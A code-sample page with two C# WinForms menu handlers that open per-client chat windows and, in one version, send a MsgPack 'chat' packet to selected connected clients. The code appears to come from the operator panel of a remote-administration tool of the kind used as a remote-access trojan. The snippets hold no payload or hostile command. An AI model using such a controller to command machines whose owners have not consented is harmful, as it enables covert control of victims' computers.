Esempio n. 1
0
 private void ChatToolStripMenuItem1_Click(object sender, EventArgs e)
 {
     try
     {
         if (listView1.SelectedItems.Count > 0)
         {
             foreach (ListViewItem itm in listView1.SelectedItems)
             {
                 Clients client = (Clients)itm.Tag;
                 this.BeginInvoke((MethodInvoker)(() =>
                 {
                     FormChat shell = (FormChat)Application.OpenForms["chat:" + client.ID];
                     if (shell == null)
                     {
                         shell = new FormChat
                         {
                             Name = "chat:" + client.ID,
                             Text = "chat:" + client.ID,
                             F = this,
                             C = client
                         };
                         shell.Show();
                     }
                 }));
             }
         }
     }
     catch { }
 }
Esempio n. 2
0
 private void CHATToolStripMenuItem_Click(object sender, EventArgs e)
 {
     try
     {
         if (listView1.SelectedItems.Count > 0)
         {
             MsgPack msgpack = new MsgPack();
             msgpack.ForcePathObject("Packet").AsString = "chat";
             foreach (ListViewItem itm in listView1.SelectedItems)
             {
                 Clients client = (Clients)itm.Tag;
                 this.BeginInvoke((MethodInvoker)(() =>
                 {
                     FormChat shell = (FormChat)Application.OpenForms["chat:" + client.ID];
                     if (shell == null)
                     {
                         shell = new FormChat
                         {
                             Name = "chat:" + client.ID,
                             Text = "chat:" + client.ID,
                             F = this,
                             C = client
                         };
                         shell.Show();
                         ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
                     }
                 }));
             }
         }
     }
     catch (Exception ex)
     {
         MessageBox.Show(ex.Message);
         return;
     }
 }